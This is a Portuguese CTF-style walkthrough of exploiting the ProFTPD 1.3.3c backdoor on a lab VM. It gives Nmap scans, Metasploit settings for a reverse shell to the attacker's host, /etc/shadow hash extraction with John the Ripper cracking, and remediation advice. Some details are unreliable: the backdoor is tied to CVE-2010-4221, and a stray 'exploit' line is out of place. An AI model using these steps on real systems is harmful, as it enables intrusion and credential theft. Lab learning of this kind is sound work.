
Walkthrough de teste de penetração em uma VM Ubuntu vulnerável. Explorou o backdoor do ProFTPD 1.3.3c (CVE-2010-4221) para obter acesso root e capturar a flag. Inclui enumeração com Nmap, configuração de payload do Metasploit e quebra de hash de usuário (John the Ripper).
: Exploração de Backdoor no ProFTPD 1.3.3c (Flag de Root)
Este relatório detalha o teste de penetração realizado em uma máquina virtual Linux vulnerável (VM), com foco na identificação de uma vulnerabilidade de serviço de alto risco que permitiu acesso root imediato.
| Detalhe | Valor |
|---|---|
| Endereço IP do Alvo | [ 192.168.222.130] |
| Endereço IP do Atacante (LHOST) | [ 192.168.222.128] |
| SO Alvo | Ubuntu 4ubuntu2.2 (Linux Kernel 3.x) |
| Objetivo | Obter um shell de nível Root e recuperar o arquivo flag. |
O reconhecimento inicial envolveu uma varredura de serviços usando Nmap para identificar portas abertas e versões de serviços.
Comando:
sudo nmap -sS -sV 192.168.222.130
Principais Descobertas:
| Porta | Serviço | Versão | Risco | | :--- | :--- | :--- | :---
| 21/tcp | ftp | ProFTPD 1.3.3c | CRÍTICO (Backdoor Explorável) |
| 22/tcp | ssh | OpenSSH 7.2p2 | Baixo (Serviço Padrão) |
| 80/tcp | http | Apache httpd 2.4.18 | Baixo (Nenhuma vulnerabilidade web óbvia encontrada) |
Uma varredura subsequente com script de vulnerabilidade confirmou a existência de um backdoor altamente crítico no serviço FTP.
A saída do script Nmap mostrou explicitamente execução de comando como usuário root:
| ftp-proftpd-backdoor:
| This installation has been backdoored.
| Command: id
|_ Results: uid=0(root) gid=0(root) groups=0(root)...
3. Exploração e Aquisição de Shell Root
O Metasploit Framework foi utilizado para explorar o backdoor confirmado do ProFTPD.
Etapas de Exploração:
Iniciar Metasploit: msfconsole
Selecionar Módulo de Exploit: use exploit/unix/ftp/proftpd_133c_backdoor
Definir Opções:
Bash
set RHOSTS 192.168.222.130
set PAYLOAD cmd/unix/reverse
set LHOST 192.168.222.128
Resultado: Uma sessão de shell de comando foi estabelecida com sucesso, concedendo privilégios root imediatos (uid=0).
4. Pós-Exploração e Recuperação da Flag
Coleta de Credenciais
Os hashes de usuários do sistema foram extraídos do /etc/shadow para análise pós-exploração. O hash do usuário marlinspike foi quebrado com sucesso usando John the Ripper.
Comando Usado (na Máquina Atacante):
Bash
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Credencial Quebrada:
User: marlinspike
Password: marlinspike
5. Recomendações de Remediação
A postura de segurança do sistema é extremamente fraca devido ao serviço FTP comprometido. Medidas imediatas devem ser tomadas para proteger o sistema:
Patch/Atualização Imediata: O serviço ProFTPD deve ser imediatamente corrigido ou atualizado para uma versão segura (maior que 1.3.3g) para corrigir o backdoor conhecido e CVEs relacionadas.
Remoção do Serviço: Se o FTP não for necessário para a função do sistema, o serviço deve ser completamente removido.
Firewall: Implementar regras rigorosas de firewall (iptables/ufw) para bloquear acesso externo à Porta 21.
Configurações Seguras de Shell: Revisar as configurações do SSH para desabilitar login root e impor autenticação baseada em chave.
Executar: exploit